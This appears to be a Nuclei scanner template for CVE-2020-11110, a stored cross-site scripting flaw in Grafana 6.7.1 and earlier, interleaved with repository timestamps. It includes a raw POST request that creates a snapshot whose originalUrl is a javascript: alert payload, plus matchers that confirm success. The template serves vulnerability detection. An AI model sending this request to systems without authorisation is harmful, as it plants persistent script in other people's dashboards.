2021-06-20 14:30:19 +00:00
id : CVE-2020-11110
info :
2022-12-08 00:40:13 +00:00
name : Grafana <= 6.7.1 - Cross-Site Scripting
2021-06-20 14:30:19 +00:00
author : emadshanab
severity : medium
2022-09-08 13:28:46 +00:00
description : Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
2023-09-06 12:22:36 +00:00
remediation : This issue can be resolved by updating Grafana to the latest version.
2021-08-18 11:37:49 +00:00
reference :
2022-12-15 22:55:12 +00:00
- https://github.com/grafana/grafana/pull/23254
2022-05-17 09:18:12 +00:00
- https://security.netapp.com/advisory/ntap-20200810-0002/
2022-09-08 13:28:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
2022-12-15 22:55:12 +00:00
- https://hackerone.com/reports/1329433
2023-07-15 16:29:17 +00:00
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
2021-09-10 11:26:40 +00:00
classification :
2023-02-12 13:07:02 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-11110
cwe-id : CWE-79
2023-10-14 11:27:55 +00:00
epss-score : 0.00179
2023-11-20 05:10:39 +00:00
epss-percentile : 0.55029
2023-09-06 12:22:36 +00:00
cpe : cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
2022-07-07 10:16:13 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : grafana
product : grafana
2023-09-06 12:22:36 +00:00
shodan-query : title:"Grafana"
2023-01-05 16:49:54 +00:00
tags : cve,cve2020,xss,grafana,hackerone
2022-02-16 12:33:09 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-20 14:30:19 +00:00
- raw :
- |
POST /api/snapshots HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/plain, */*
Accept-Language : en-US,en;q=0.5
Referer : {{BaseURL}}
content-type : application/json
Connection : close
{"dashboard" : {"annotations" : {"list" : [ {"name" : "Annotations & Alerts" , "enable" : true , "iconColor" : "rgba(0, 211, 255, 1)" , "type" : "dashboard" , "builtIn" : 1 , "hide" : true }] }, "editable" : true , "gnetId" : null , "graphTooltip" : 0 , "id" : null , "links" : [ ] , "panels" : [ ] , "schemaVersion" : 18 , "snapshot" : {"originalUrl" : "javascript:alert('Revers3c')" , "timestamp" : "2020-03-30T01:24:44.529Z" }, "style" : "dark" , "tags" : [ ] , "templating" : {"list" : [ ] }, "time" : {"from" : null , "to" : "2020-03-30T01:24:53.549Z" , "raw" : {"from" : "6h" , "to" : "now" }}, "timepicker" : {"refresh_intervals" : [ "5s" , "10s" , "30s" , "1m" , "5m" , "15m" , "30m" , "1h" , "2h" , "1d" ] , "time_options" : [ "5m" , "15m" , "1h" , "6h" , "12h" , "24h" , "2d" , "7d" , "30d" ] }, "timezone" : "" , "title" : "Dashboard" , "uid" : null , "version" : 0 }, "name" : "Dashboard" , "expires" : 0 }
matchers-condition : and
matchers :
- type : word
part : header
words :
- application/json
- type : word
part : body
words :
- '"deleteKey":'
- '"deleteUrl":'
condition : and
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2021-06-20 14:30:19 +00:00
extractors :
- type : regex
group : 1
regex :
- '"url":"([a-z:/0-9A-Z]+)"'
2023-07-11 19:49:27 +00:00
part : body
2023-11-20 06:35:10 +00:00
# digest: 4a0a00473045022100e8d5908098a3b588d0983011109c20b665c3fcc20fef50fdb951497b680350a002203c79fe5a83ff8ba065592ebb2d0438127587a81dba0aaa1985b347cb19c24900:922c64590222798bb761d5b6d8e72950